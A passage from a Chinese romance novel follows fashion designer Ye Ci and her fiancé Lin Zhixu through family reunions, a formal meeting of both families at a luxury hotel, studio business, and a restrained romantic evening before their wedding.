蔺之序闻言,转身熟稔地拿出两个杯子,开始煮水准备泡茶。 热水壶发出轻鸣。 叶瓷走过去,倚靠在小吧台边,看着他从容的泡茶。 外面暮色沉沉,室内只开了几盏氛围灯。 “你要不要尝一口?” 叶瓷指尖轻拈着一块栗子挞,酥皮泛着蜜糖光泽,几粒金黄的栗子碎从边缘微微探出头。 蔺之序刚好放下水壶,听她这样说,动作微顿。 他垂眸,目光从她纤细的手指移到那块精致的甜点上,接着,他缓缓倾身,低头就着她的手咬下一角。 动作极慢,他的唇几乎擦过她的指尖。 栗子的甜香在唇齿间化开,蔺之序喉结微动,两人之间不过寸许距离,呼吸几乎交融。 “甜吗?” 叶瓷问,声音也低了几分。 蔺之序没有立即回答,而是伸手握住她的手腕,就着这个姿势又咬了一口。 这次他的唇明确地碰到了她的指尖,温热柔软。 他慢慢咀嚼,“嗯,很甜。” 声音低沉,带着一丝暗哑,不知是在评价栗子挞,还是别的什么。 叶瓷也咬一口栗子挞,平复心情。 外卖来了,蔺之序接过纸袋,手指解开系绳,他一眼就认出了,是老陈家的家常菜。 清炒时蔬,还有一碗冒着热气的冬瓜排骨汤。 他将餐盒一一摆开,叶瓷接过他递来的筷子,两人相对而坐。 叶瓷夹了一块排骨,酱汁浓郁,她微微眯了眯眼,像是被这熟悉的味道取悦。 蔺之序注意到她的表情,唇角微不可察地扬了扬,伸手盛了一碗汤推到她面前。 “小心烫。” 他低声道。 两人刚用过餐,有人敲门,蔺之序起身去开门。 “蔺总。” 叶瓷听见小于的声音,以为是工作上的事情,忙走过去。 小于看见叶瓷,笑道,“司机不认得路,我就带他过来了。” 叶瓷微一偏头,认出旁边那人是蔺之序的司机小刘。 视线再转,她看到了一株茶梅。 灰青釉的陶盆,墨绿叶片间隐着数个紧实花苞。 植株不高,但枝干走势苍劲利落,显然是被人精心挑选过的。 叶瓷突然想起那天的茶楼,她说茶梅很漂亮,当时蔺之序问她是不是喜欢,她说喜欢。 不过,当时只是有感而发,转头便忘了。 这时,蔺之序声音响起,对着叶瓷,“你看看放在哪里合适?” 叶瓷收起回忆,笑道,“放露台吧。” 小于和司机离开后,叶瓷看蔺之序,“没想到你居然还记得。” 蔺之序知道她的意思,他朝她走近一步,两人之间的距离悄然缩短。 “你说过的话,我一般都记得。” 休息室里异常安静,能听到窗外遥远的车流声。 那株茶梅在他们之间静静散发着幽微的清香。 叶瓷伸手圈住蔺之序的腰身,“谢谢,我很喜欢这棵茶梅。” 蔺之序笑,伸手回抱了她。 客厅茶几上,叶瓷的手机响了。 叶瓷松开他,走过去拿起,“妈?” 温翎的声音传来,“小瓷在忙吗?” “还好,妈妈到了?”叶瓷问。 温翎昨天给她发信息,说从瑞士回国后,先去海城待两天,然后再来京北。 “嗯,到海城了。陪陪你外公,他精神不错。” 温翎的声音带着轻松,“你婚期近了,妈妈总得提前回来张罗张罗。” “明天下午的航班,我和你外公一起飞京北,大概两点到。” 叶瓷笑,“好,我明天下午到机场接你们,家里房间都收拾好了,您和外公——” “不用麻烦了。”温翎打断她,“我们住酒店就好,方便些。” 叶瓷明白了,她不愿意回家,默了一瞬,“好我知道了,那,明天见。” 温翎:“嗯,明天见,现在外公想跟你说说话。” 电话那头传来老人爽朗的笑语。 叶瓷又和温书言聊了几句家常,叮嘱他注意身体,才挂断电话。 放下尚有微温的手机,叶瓷看向蔺之序,“妈妈和外公明天下午来京北。” 因为温翎不打算回家里住,叶瓷一下想到了过去的许多事情,她微微出神的样子被蔺之序捕捉到,“怎么了叶瓷?” 叶瓷抬眼,如实告诉他,“妈妈和外公住酒店。” 蔺之序点点头,“我来安排。” “云亭就在使馆区,套房安静,服务也周全,离你的工作室和婚礼场地都不远。” 云亭是盛域集团旗下最顶级的隐奢酒店之一,以私密性和管家服务著称。 叶瓷看着他沉静的眼眸,“好。” 蔺之序安排云亭酒店确实是最优解,省去了她临时订高端套房的麻烦,也最大限度地照顾了温翎需要的隐私和距离感。 “明天下午几点接机?”蔺之序问。 叶瓷:“两点。” “工作安排得开吗?需要我去接吗?”他的提议直接而自然。 叶瓷摇头:“不用,我去就好。” 蔺之序没有坚持,只应了一声:“嗯。” 时间指向九点。 “今晚还有个很重要的应酬,推不开。” 蔺之序拿起搭在玄关衣架上的西装外套,眼神在她脸上停顿片刻,“明天下午,有事随时打电话联系我。” 叶瓷笑,“好,知道了。” 蔺之序微一颔首,正要转身,又两步来到她跟前,手臂一带,将人揽进了怀里。 他低头在她额上印了下,怀里人娇娇软软,不敢多停留,怕自己动情。 两人松开,蔺之序没有再多说什么,转身步入走廊。 休息室的门轻轻合上,隔绝了外面。 叶瓷走到露台,俯身观察家里的新客,茶梅粉白花瓣细腻如绡,边缘晕着淡淡绯色,清丽又贵气。 这种沉静的生命力,完美地融入了小小露台。 第44章 第44章 想你 霓坊工作室。 会议室里还残留着上一场留下的关于面料受损和财务压力的凝结感。 叶瓷没有落座, 直接站在长桌尽头,她穿着米白色羊绒衫,长发松松挽起, 露出光洁的额头和沉静眉眼。 “仓库的损失已成定局, 账面缺口需要尽快填补。单纯依靠高定业务回血周期过长, 我们需要更稳健的现金流支撑核心。” “各位面前现在放着的是最近的市场调研,调研显示, 我们的品牌认知度和客户忠诚度,已经具备向下延伸的基础。” 投影亮起, 屏幕上是几组极具视觉冲击力的对比图: 左侧是霓坊标志性的高定礼服, 右侧是基于其核心廓形简化的成衣设计,线条利落, 质感卓然, 一眼便能看出血脉渊源。 叶瓷目光扫过在座的运营, 设计,市场核心骨干, 没有丝毫拖泥带水,“我提议,即刻启动成衣副线计划。” “目标是三个月内, 在京北,沪城, 港城三地核心商圈, 开设首批旗舰店。同时,线上同步发售。” 会议室鸦雀无音,只有空调低沉的送风声。 终于,运营总监率先开口:“叶总,线下门店成本高昂, 选址,装修,人员配备——” “附录里有详细预算和风险对冲预案。”叶瓷打断他。 说着,她又看向市场总监,“首批三家,走小型独立精品店模式,线上预热同步启动,重点讲‘高定基因,日常奢享’的故事。” “设计团队要注意,面料标准不能降,工艺细节必须在线。下个月中旬我要看到完整样衣和成本核算。” 清晰的指令一条条下达,众人快速记录。 叶瓷看了眼腕表,指针指向十二点五十分,“散会。” 话音落下,她转身拿起搭在椅背上的焦糖色羊绒大衣。 …… 京北国际机场T3航站楼,国际到达出口人|流如织。 叶瓷站在接机人群稍前的位置,目光注视着通道。 下午两点十分,熟悉的身影出现在视野中。 温翎穿着一身质感上乘的珍珠灰色羊绒套装,外搭同色系长款大衣,仪态优雅,她推着行李车,旁边是温书言。 老人家看到叶瓷,脸上挂笑,远远地就挥了挥手。 “外公!妈!” 叶瓷快步迎上去,先轻轻拥抱了一下外公。 转向母亲时,温翎笑着伸手抱了抱她,“等久了吧?” “刚到一会儿。”叶瓷自然地接过母亲手中的推车,“路上顺利吗?” 温书言笑,“顺利,就是人老了,坐久了腰有点酸。” 正说着,他的目光打量着外孙女,“阿瓷又瘦了,工作要紧,也要注意身体呀。” 叶瓷笑,“还好,外公。” 她推着行李车,引着他们往外走,“哥哥最近盯一个物流园的地块开发,施工前准备千头万绪,也忙得连轴转,让我跟您和妈说一声。” 温翎点点头,没多问,只是紧了紧颈间的丝巾。 航站楼前,是京北略显萧瑟的天空。 —— 云亭酒店大堂。 大理石地面光可鉴人,白茶香氛若有若无,背景是极低音量,几乎融入空气的古典钢琴曲。 这里的一切都遵循着“隐奢”的法则,低调却又在每一个细节处彰显着无可匹敌的质感。 大堂经理周廉,一位年近四十,表情管理完美的专业人士,此刻正站在服务台后,看似在检查预约记录,眼角的余光却每隔几秒便不受控制地飘向休息区深处。 那里,临窗的位置,蔺之序靠坐在一张宽大的深棕色皮质沙发里。他脱去了西装外套,只穿着合身的烟灰色马甲和白衬衣,袖口挽至小臂,露出一块低调的铂金腕表。 他面前放着一杯几乎没动过的黑咖啡,膝上摊开一份财经报纸,姿态看似放松,但周廉敏锐地捕捉到他每隔几分钟便抬腕看表的动作。 那动作极快,几乎难以察觉,却带着一种时间被精确切割的掌控感。 周廉的心脏跳得比平时快了几分。 这位极少出现在旗下酒店大堂的集团掌舵人,此刻坐在这里,显然不是为了喝一杯咖啡或看一份报纸。 他在这里等人,而且等了超过二十分钟。 这在蔺之序以分钟计算行程的日常里,几乎是不可能出现的“奢侈”行为。 周廉示意一个端着托盘的服务生过去,蔺之序的目光从报纸上抬起,平静地看了服务生一眼,微微颔首:“不用了,谢谢。” 周廉内心了然,能让蔺总如此等待的,也只有那位叶小姐了。 据盛域集团高层圈透出的消息,蔺总近日就要和叶小姐完婚了。 周廉根据今天下午的订餐标准推测,此次要接待的应该是重要客人。 通过耳麦,周廉用最轻的声音再次确认了顶层餐厅包厢的准备情况和专属管家的待命状态,确保每一个环节都万无一失。 当叶瓷带着温翎和外公走进来时,一眼便看到休息区沙发里那道熟悉的身影。 蔺之序已经起身,深色的羊绒西装衬得他肩宽腿长,沉稳的气度与这环境浑然一体。 他几步迎上前,先向温书言微微躬身,态度恭敬自然:“外公,一路辛苦了。” 随即,他转向温翎,“温阿姨,您好,欢迎回京北。” “之序有心了。”温书言笑容满面。 温翎也露出一抹得体的微笑:“麻烦你久等。” “应该的,餐厅已经备好,外公和阿姨可以先稍事休息,或者直接用餐?”蔺之序侧身引路,动作礼貌。 他的存在,本身就是对这家顶级酒店最好的背书,无声地宣告着来客的分量。 周廉看着一行人去了专属电梯,感觉自己的猜测很准确。 顶层“观澜”包厢。 布置清雅,以深木色和米白为主调,一盆姿态遒劲的罗汉松盆景置于案头,平添几分雅致。 落座后,侍者奉上热茶和精致的开胃小点。 蔺之序亲自为两位布茶,动作流畅自然。 温书言兴致很高,夹起一个虾饺放入口中,满足地点头:“嗯,这味道正!比海城一些老字号也不差。” 他看向蔺之序,“之序啊,你这地方选得好,东西也讲究。” “外公喜欢就好。”蔺之序微笑回应。 温书言放下筷子,话题一转:“上次在海城,看你写的几个字,笔力遒劲,章法沉稳,有大家风范啊!年纪轻轻,难得!一直都想问问你,练了多久了?” 蔺之序放下茶杯,态度谦逊:“外公过奖了。小时候被祖父逼着临帖,练了十几年颜体和欧体,后来忙工作,都生疏了。” “上次在外公书房,看到您收藏的那幅文徵明的《赤壁赋》扇面,笔意空灵,才是真正的好字,让我受益匪浅。” 这番话既坦诚又恭维得恰到好处,温书言听得心花怒放,“哈哈哈,好!有眼光!我那把扇面可是费了好大劲才收来的。” 温书言:“书法这东西,练的是心性。我看你做事沉稳细致,跟这字里透出的筋骨是一脉相承。” 温翎在一旁安静用餐,听着父亲与蔺之序的对话,她看得出,蔺之序对书法并非附庸风雅,是真的懂,也愿意陪老人家聊这些“无用之事”。 这份耐心和涵养,也是难得可贵。 席间气氛融洽温馨。 待最后一道精致的杨枝甘露甜品用毕,温翎从随身考究的手袋中,取出了一个用暗红色云锦包裹的信封。 她轻轻推到蔺之序面前,“之序,这个你收下。改口费,是个心意,也是祝福。” 蔺之序双手接过,“谢谢……妈。” 温书言看着这一幕,眼中笑意更浓。 他随即也拿出一个略厚的文件袋,递向叶瓷,“阿瓷,这个给你。” 叶瓷有些疑惑地接过,解开缠绕的丝线,抽出里面的文件。 当“苏园产权转让授权书”几个大字映入视线里时,她抬头看向对方,“外公这……苏园?不行,这太贵重了。” 苏园,是温家几代人的根基。 温书言摆摆手,笑容豁达,“拿着,我和你外婆守着它一辈子,是时候交给你们年轻人了。那园子大,景也好,空着可惜。” 说着,他的目光在叶瓷和蔺之序之间流转,“以后啊,等你们有了孩子,小家伙在回廊里跑,在假山上爬,在荷花池边喂鱼,自由自在的,多好!” 一股酸涩直冲叶瓷的鼻尖和眼眶,喉咙像是被突然堵住。 她握着授权书,嘴唇动了动,声音里已经带上哽咽,“外公……” 温书言哈哈一笑,拍拍她的手:“傻囡囡,高兴的事,哭什么。” “以后多带之序回来住住,让他也看看咱们苏园的景致。之序的字写得好,正好给园子里几个新修的亭子题匾。” 蔺之序应着,然后适时开口,将话题过渡到更实际的安排:“外公,明天中午,家父家母想设宴,正式拜会二老。不知您二位明日是否方便?” 温翎和温书言对视一眼,点点头:“客随主便,你们安排就好。” 蔺之序看向叶瓷,征询她的意见:“地点就定在这里如何?” “酒店的‘听松阁’是独立的宴会厅,环境和私密性都好,菜品也精致。外公他们刚下飞机,在这里用餐休息最方便。” 叶瓷看着他,他考虑到了两个长辈的状态, 这份体贴,细致入微。 她点头,笑道,“好,就在这里。” —— “听松阁”位于云亭酒店东翼,是一处完全独立,自带小庭院的私人宴会所。 此刻,阁内温暖如春。 落地窗外是使馆区的静谧景象,金黄的银杏叶在阳光下如同碎金。 室内装饰着明式家具和几幅意境深远的当代水墨。 一只素雅的天青色南宋龙泉窑梅瓶静立案头,插着几支姿态清逸的枯荷与芦花,平添几分禅意与古韵。 私人管家正在布置餐具。 蔺建昆与汤静娴已先一步抵达。 蔺建昆一身考究的中山装,汤静娴穿着香云纱旗袍,外搭同色系羊绒开衫,仪态端庄,笑容和煦。 看到温书言一行人进来,两人立刻起身相迎。 “温老,一路辛苦了,快请坐。”蔺建昆快步上前与温书言握手。 “温女士,欢迎欢迎!” 汤静娴走过来亲切地挽住温翎的手臂,笑容诚挚,“可把你们盼来了。” 温书言目光扫过室内的陈设,笑道,“蔺先生,蔺夫人,太客气了。这地方选得好啊,闹中取静,雅致。” 叶北庭也到了,穿着合体的黑色西装,与蔺之序并肩而立,两人颔首打招呼,默契十足。 叶瓷站在温翎身侧,向蔺家父母微笑问好。 寒暄过后,一众人落座。 私人管家示意侍者开始上菜,是定制的粤菜宴席,食材顶级,不见花哨炫技,只以本味和火候取胜。 “北庭最近在忙的那个物流园项目,我听之序提过两句,规划得很前沿啊。”蔺建昆看向叶北庭,主动提起话题。 叶北庭谦逊笑道,“蔺伯伯过奖了,现在还处于起步阶段,很多地方还在摸索当中。主要是位置不错,政策也支持。” “位置是根本,”蔺建昆点头,然后看向温书言,“温老当年在海城西区的那片地,眼光也是极准,如今成了黄金地段。” 提到往事,温书言抚掌笑道:“哈哈,那时候可没想那么多,就觉得靠着水运方便。倒是你们蔺家,这些年稳扎稳打,根基深厚,之序接手后更是青出于蓝啊。” 话语里,温书言毫不掩饰对蔺之序的欣赏,“上次在海城,看他写的字,那沉稳劲头,就知道是个能成大事的。” 蔺之序为温书言斟了一杯酒,姿态恭谨:“外公谬赞了,是祖父和父亲教导有方,我不过是守成。倒是外公的收藏和鉴赏眼光,让我受益匪浅,上次在海城看到的文徵明扇面,回去后还摹写了几次,才发现笔力远远不够。” “哦?还临摹了?”温书言兴致更高,身体微微前倾,“之序,下次再来海城,带上你的字,我们再好好切磋切磋。书法这东西,重在心静气凝,我看你就有这份定力。” 他们几个男士聊着,这边,汤静娴笑着对温翎说:“温女士,您看,这一老一少,倒投缘得很。” 温翎也笑。 随后,她看着女儿和蔺之序,“之序很好,沉稳细致,阿瓷性子也静,两人能互相理解扶持就好。我们做长辈的,看着他们平安顺遂,就是最大的心愿了。” 汤静娴笑,“是呢。” 席间,话题围绕着两家的渊源,以及京北和海城的风物,气氛融洽。 宴会结束时,天光入暮。 云亭酒店门廊的灯光下,一辆黑色奔驰无声地滑至门前。 管家拉开车门,蔺建昆与汤静娴向众人道别。 “温老,改日一定要来家里坐坐。”蔺建昆握着温书言的手,“我那儿还有些老茶,正好请您品鉴。” 温书言笑,“好。” 汤静娴礼貌地抱了抱温翎:“婚礼的事你放心,有什么想法随时联系我。” 温翎笑着点头,“好。” 目送父母的车驶离,蔺之序转身看向微醺的温书言。 老人家面色泛红,但精神还不错,正拉着叶北庭说着什么。 数分钟,叶北庭的车也过来了。 “外公,我送您回房间休息。”蔺之序上前一步,稳稳扶住温书言。 专属电梯内,柚木饰面的轿厢散发着淡淡的木质香。 温书言拍了拍蔺之序的肩膀:“之序啊,外公今天好高兴的。” “外公喜欢就好。”蔺之序按下顶层按钮,电梯无声上升。 “阿瓷这孩子,从小性子就静。”温书言眯着眼睛,语气里带着回忆,“她爸妈离婚那档子事……唉,不提了不提了,好在现在有你。” 蔺之序目光微动,随后轻轻点头。 电梯停在顶层。 蔺之序:“到了,外公。” 总统套房的门廊处,早有管家静候。 蔺之序将温书言安顿在起居室的沙发上,转头吩咐:“准备两份醒酒汤,温度要刚好入口。” 管家:“好的,蔺总。” 套房内灯光调至最舒适的亮度。 落地窗外,京北的夜景如星河倾泻。 蔺之序解开西装扣子,在单人沙发上坐下,修长手指揉了揉太阳穴。 他酒量极佳,但今晚陪着长辈也喝了不少,此刻眼底泛着淡淡的血丝。 门铃轻响。 管家端着托盘进来,上面放着两盏青瓷小碗,热气氤氲。 “蔺总,您的醒酒汤。” 蔺之序接过,一饮而尽。 汤水温润,带着陈皮和山楂的酸甜,很快便抚平了胃里的灼热。 他刚要起身,套房的门再次打开,是叶瓷。 她已经换下了晚宴时的礼服,穿着简单的连衣裙和一件羊绒罩衫,发梢还带着沐浴后的湿气。 看到蔺之序,她问,“外公睡了?” “嗯,管家刚服侍他喝完醒酒汤。”蔺之序的声音比平时低沉几分,目光落在她身上,“怎么过来了?” “妈妈刚安顿好,我过来看看外公。”叶瓷扫过他略显疲惫的眉眼,然后她走到茶几前,倒了杯温水递给他:“喝点水。” 蔺之序接过水杯,手指不经意擦过她。 水温刚好,不烫不凉。 叶瓷看着他喝完,正要接过空杯,手腕突然被握住,等她反应过来,人已经被他拉到了隔壁的套间,门也反锁上了。 蔺之序的指腹轻轻摩挲着她的手背,他垂着眼,呼吸间带着淡淡的酒气,混合着他身上惯有的沉木香,在安静的套房里显得格外魅人。 他已经两天没好好看她了。 从接机到宴请,再到今日双方家长见面,他始终保持着得体的分寸,连目光都不敢在她身上多停留。 可此刻,或许是酒精作祟,又或许是夜深人静,他突然不想再克制。 叶瓷的手腕被他握着,能感受到他掌心的温度比平时更高,指节微微收紧,像是怕她抽离。 他的唇贴在她的手背上,停留的时间比礼节性的亲吻长了许多。 温热的气息拂过她的肌肤,激起一阵细微的战栗。 “累不累?”他低声问。 叶瓷摇头,目光落在他微垂的睫毛上。 他的领带早已松开,衬衫领口解了两颗扣子,露出一截线条分明的锁骨,在灯光下泛着淡淡的暖色。 她没抽回手,只是轻声问:“你喝多了?” 蔺之序低笑了一声,拇指蹭了蹭她的腕骨,像是在确认她的存在。 “没醉。”他抬眼看她,眼底映着灯光,“只是有点想你。” 这句话轻得几乎像是错觉,可叶瓷听得清清楚楚。 蔺之序抬手轻轻替她将一缕散落的碎发别到耳后。 “明天临时去沪城处理点事,”他顿了顿,“后天晚上回来。” 叶瓷:“好,注意安全。” 蔺之序笑了下,手指仍停留在她的耳畔,若有似无地触碰着她的肌肤,像是贪恋这一点点亲近。 两人又陷入沉默。 这种沉默像一层柔软的茧,将外界的喧嚣隔绝。 最终,叶瓷看了眼时间:“不早了,我们该回去了。” 蔺之序:“我先送你回家。” “不用。”叶瓷制止他,“我已经叫了车。” 蔺之序点点头,“那好。” 两人一起下电梯,叶瓷又说,“沪城降温了,记得带件厚外套。” 蔺之序怔了下,眼底随即闪过笑意:“好。” 叶宅。 三楼衣帽间里,叶瓷在收拾衣物。 她没有打开所有的衣柜,只是拉开了中间的两个抽屉。 里面整齐叠放着她日常穿着的羊绒衫,真丝衬衣和贴身衣物。 她手指拂过那些柔软熟悉的布料,挑选了几件最常穿的,质感舒适的基础款放进防尘袋里。 然后,她又去了书房。 选了一些书,设计图稿和几个画图用具。 第二天清晨,硬质旅行箱放在玄关。 里面正是她昨夜挑选的衣物和书籍,她将婚房地址发给了等候的司机小刘。 “这两个箱子送到后交给管家就行。” 司机接过:“好的,小姐。” 车子驶离。 叶瓷给蔺之序发了一条信息。 叶瓷:【几件衣服和书让司机送过去了,放在那里就好,不用动,等我有空了自己收拾。】 对面消息秒回。 蔺之序:【好。】 第45章 第45章 柔软得让人发狂 工作室。 营销总监任薇正在汇报工作。 “魏心许团队主动释放的信号很积极。她在电影节红毯那套礼服, 微博话题阅读量破亿,团队主动@了我们官方账号。” 说着,她将平板转向叶瓷, 屏幕上正是魏心许身着那件深V领, 背部镂空鱼尾裙的照片。 任薇的声音继续:“我们已经进行友好互动, 并精选了后台制作花絮,发布后, 粉丝反响热烈,品牌关键词搜索量激增35%。” 叶瓷:“互动要保持专业格调, 避免过度娱乐化。” 任薇:“好的叶总。” 会议进展无缝切换。 一个小时后, 叶瓷回到自己的办公室。 堆积的订单确认,样衣审核和新系列面料测试报告…… 等她揉着发酸的脖颈抬头, 工作室已空无一人, 看了眼手机, 晚上八点半。 点过外卖,她又滑开微信, 置顶聊天框里,最后一条还是她中午发给蔺之序的消息。 叶瓷:【忙吗?】 蔺之序没有回复。 叶瓷想,沪城的项目想必正到紧要关头。 在休息室用餐完毕, 她起身去浴室洗漱,换上舒适的睡裙出来, 她把自己抛进沙发里。 躺了会儿, 没什么困意,叶瓷随手点开一部评分不错的纪录片,关于文艺复兴时期的织物艺术。 不知过了多久,一阵极轻却清晰的叩门声响起。 “笃笃笃。” 节奏沉稳,带着一种熟悉的韵律感。 叶瓷捞了件开衫披上, 鞋也没穿,赤脚踩在地毯上,走到门边,透过猫眼向外看去。 竟是蔺之序。 叶瓷又惊又喜,她以为他明天才会回来,忍着激动,她拉开了门。 廊灯柔和的光线下,蔺之序站在那里。 西装搭在臂弯,他只穿着一件烟灰色羊绒衫和同色系长裤,头发不像白日里梳得一丝不苟,几缕碎发随意地垂在额前。 叶瓷的手还搭在门把手上,两天未见,思念像澎湃的潮水,在四目相对的瞬间漫过胸口,压得呼吸都轻了。 良久,叶瓷问:“吃过饭了吗?” 蔺之序:“在飞机上用过了,你呢?” 沪城这趟出差,行程紧凑,他直到登机前才有时间拿出手机看一眼。 他看到她数小时前发来的消息,想着还是等落地京北后直接过来找她。 叶瓷笑,“点了份虾仔拌面,刚吃过。” 叶瓷看到他眉宇间隐约的倦色,轻声问:“怎么又专门跑来一趟?” 两人之间的距离很近,蔺之序的目光落在她脸上,眼底疲惫被某种柔软情绪取代,“想见你。” 简单的三个字,叶瓷心尖微颤了下。 他风尘仆仆地赶来,不为别的,只因为想念。 叶瓷看着他,突然意识到,两人还在门口站着。 “进来吧。” 叶瓷伸手搭在他手臂上。 门关上的瞬间,带起的流动空气突然也变得粘稠起来。 蔺之序站在玄关处,垂眸看了眼她身上的睡裙,领口露出一截纤细锁骨,发尾还是熟悉的橙花味道。 他的咽了咽喉咙,“这两天工作累不累?” “还好。” 叶瓷走向小茶几,倒了杯温水递给他,“沪城的工作顺利吗?” 蔺之序接过水杯,“嗯,比较顺利。” 茶几上的平板正在播放着纪录片,叶瓷顺着他的视线望过去,笑了下,“无聊打发时间。” 蔺之序点点头,刚好杯子里的水也喝完了,叶瓷伸手准备去接,十指相触,不知是谁先动了下,思念又被勾缠。 这时,蔺之序放下水杯,然后伸手扣住她的手腕,轻轻一带,将人拉近。 叶瓷猝不及防地撞进他怀里,鼻尖蹭到他羊绒衫柔软的纹理。 她微抬眼,看见他的喉结在她视线里滚动出一道凌厉的弧线。 好像有某种危险的信号在相贴的肢体间流窜。 蔺之序的唇擦过她耳际,在将触未触的毫厘之间,滚烫的吐息钻进耳蜗:“这两天……”尾音消失在突然收紧的臂弯里。 他的鼻梁埋进她颈侧,深深吸气,像要把她的气息刻进肺叶。 叶瓷的手指收紧,这个拥抱太用力,肋骨隐隐发痛,却也奇异地填补了某种空缺。 她的额头擦过他突起的喉结,感受到那处皮肤变得绷紧,接着,她听到他喉间溢出一声极低的闷哼。 “……真的想你了。” 蔺之序的声音再次响起,贴着她耳畔,带着暗哑。 叶瓷的心跳得有些快,她能感受到他身上散发出的带着侵略性的情愫。 她眼睫动了动,他的唇已经压了下来。 起初只是一个浅尝辄止的触碰,像在确认彼此的存在。 但当她无意识地轻抿了一下他的唇,蔺之序的呼吸立刻加重许多,他的手掌贴上她后腰,将她更紧地按向自己,吻也突然加深。 带着两天未见的思念和压抑的渴望,滚烫而缠绵。 叶瓷的手指揪紧他衣襟,指尖陷入柔软的羊绒中,她能感受到他胸膛剧烈的起伏,和腰间那只手掌越来越重的力道。 不知过了多久,蔺之序稍稍退开,他呼吸粗重地抵着她的额头:“可以吗?” 低哑的三个字落下,像火星溅进干草。 叶瓷仰头,正撞进他幽深的眼底——那里面的克制裂开细缝,翻涌着白日绝不可能显露的欲求。 她微微点头,下一秒就被他打横抱起。 突如其来的失重感让她下意识环住他的脖颈,蔺之序的臂弯稳如磐石,大步走向里间的沙发。 叶瓷被轻轻放在柔软的靠垫上,蔺之序单膝跪在沙发边缘,俯身再次吻住她。 这次更加深入,带着不容拒绝的温柔强势,叶瓷能感受到他身体的变化,隔着单薄的衣料,热度灼人。 蔺之序的手掌抚上她纤细腰身,长指在衣摆边缘徘徊试探,最终却克制地停住。 他稍稍退开,额头抵着她的,“不能再继续了。” 他说给两个人听,更是在警醒自己。 叶瓷的睫毛轻颤,脸颊绯红,她明白他的意思,什么都没准备。 蔺之序深吸一口气,让身体缓了会儿,然后伸手将她散乱的衣领整理好。 叶瓷有些不敢看他,只感觉他向前倾身,距离再次拉近,温热的呼吸几乎拂过她的额发。 他像是想吻她,却又在最后一刻,将唇克制地印在了她的发顶。 叶瓷的呼吸还没平复,蔺之序也察觉到了,“还好吗?” 叶瓷轻轻点头,感觉被他触碰过的发顶一片灼热。 “好。” 蔺之序直起身,眼底翻涌的情绪被强行压下,恢复了惯常的沉稳,只是眸色好像比夜色更深。 “我得回趟老宅,”他低声道,“妈那边,还有些婚礼细节要最后敲定。” 叶瓷:“嗯。” 蔺之序看着她,“早点休息。” 门关上的瞬间,叶瓷重新回到客厅,纪录片早已自动播放到下一集。 楼下,劳斯莱斯幻影安静地停在车位上。 蔺之序拉开车门坐进后座,对司机吩咐:“回老宅。” 车子平稳驶出。 蔺之序低头解开两颗纽扣,身体里的血液还未完全平复,微一闭眼,脑海里全是叶瓷情动时湿润的眼眸和泛红的耳尖,他感觉自己的手上还残留着她肌肤的触感,柔软得让人发狂。 车窗外的霓虹光影飞速掠过,他靠在后座养神片刻,“明天上午,把后备箱里那个黑色盒子送到婚房。交给管家,让他放在书房。” “好的,蔺总。”司机应道。 蔺之序没有再说话,只是目光投向窗外流动的夜色。 后备箱里的黑色盒子,是他在沪城会议间隙,特意绕路到一家百年老字号文具行挑选的画具套装。 顶级椴木画板,一套德国产的专业绘图针管笔,特制的防疲劳握笔套,还有几卷她惯用的进口半透明硫酸纸。 他知道她有晚上画图的习惯,婚房的书房,自然要为她备好这些。 —— 进入十一月中旬,寒意渐浓,使馆区的梧桐叶落了大半,露出遒劲的枝干。 工作室里,叶瓷正俯身在一件成衣样衣前,与版师王师傅交谈。 就在这时,放在工作台上的手机屏幕无声亮起,又暗下,旋即再次亮起,带着一种不依不饶的执着。 叶瓷瞥了一眼,屏幕上连续跳出温翎的几条信息。 温翎:【婚宴回礼的丝巾花色定了两款,一款是苏绣的蝶恋花,一款是素雅的云水纹,你看哪个更合心意?[图片][图片]】 温翎:【蔺家那边确认的伴手礼礼盒样式也发来了,是竹编的,很别致,你看看?[图片]】 温翎:【[图片]看看这两个桌花方案,你倾向于铃兰配郁金香,还是铃兰配蝴蝶兰?】 温翎:【[名单.pdf]这是最终确认的宾客名单,你过目一下,看看有没有需要特别留意或增减的?】 叶瓷捏了捏眉心,那些要选择的图片,冗长的宾客名单,看久了让人头晕眼花。 叶瓷:【妈,你来拿主意吧,我都可以的。】 回复过,她将手机放回工作台上。 婚礼的各项事宜都由两家经验丰富的长辈们操持着,几乎不需要她这位准新娘额外费力。 大有一种婚期近在眼前,她本人已经置身事外的感觉。 叶瓷:“王师傅,按刚才说的调整,下午三点前给我看新版。” 刚处理完手头的事,助理小于轻叩门:“叶总监,魏小姐到了。” 会客室里,魏心许正饶有兴致地看着墙上悬挂的一幅抽象面料拼贴画。 听到脚步声,她转身,笑容明媚,“叶总监,打扰了。” “魏小姐,请坐。” 叶瓷示意她在布艺沙发落座,“喝点什么?咖啡还是茶?” 魏心许:“咖啡吧,谢谢。” 叶瓷笑了下,然后走到角落的咖啡机旁,动作熟稔地开始操作。 很快,她将一杯油脂丰盈,香气四溢的现磨拿铁放在魏心许面前。 魏心许笑,“谢谢。叶总监,今天冒昧来访,是想当面跟你道谢,你设计的那套礼服,我很喜欢。” 叶瓷笑了下,“你喜欢就好,让顾客对我们的设计满意,一直是我们工作室的追求。” 话是体面话,可从叶瓷嘴里说出来,魏心许只觉得很真诚。 她坦言,“以前我的形象定位比较模糊,但那件礼服,它帮我找到了一个精准的风格标签。” “现在递过来的本子,角色契合度都高了很多。这背后,全是您的功劳。” 叶瓷笑着纠正,“是魏小姐自身的气质撑起了设计。” 她设计衣服,初衷只是表达美和工艺,能帮助到穿着者找到自我定位,是意外的收获。 魏心许也笑,“不管怎么说,我的感谢是发自内心的,叶总监,我想请你吃顿饭,可以吗?地方你定。” 叶瓷略一思索,没推辞,“好。我知道附近有家不错的本帮菜,口味地道,环境也清净。” 她选择了一家口碑好但绝非天价,也不会给艺人带来过度曝光风险的餐馆。 午餐时间,两人坐在靠窗的一角。 魏心许很放松,点了几道招牌菜:蟹粉豆腐、油爆虾、腌笃鲜。 菜很快上桌,热气腾腾。 席间,魏心许聊起拍戏的趣事,对时尚的理解,言语风趣,见识不俗,丝毫没有娱乐圈的浮躁。 叶瓷话不多,但听得专注,偶尔回应几句,气氛轻松自然。 餐毕,魏心许拿出手机,“叶总监,方便加个微信吗?纯粹私人交情,不谈工作。以后我来京北,或者你去海城,咱们还能约饭聊天。” 叶瓷极少加客户私人微信,但看着魏心许坦率的眼睛,她略一沉吟,“好。” “太棒了,”魏心许看着手机上新出现的联系人,笑容灿烂:“听说你快结婚了?恭喜恭喜!” “谢谢。”叶瓷笑。 告别魏心许,叶瓷驱车前往云亭酒店,刚驶入酒店环岛,她就收到了蔺之序发来的消息。 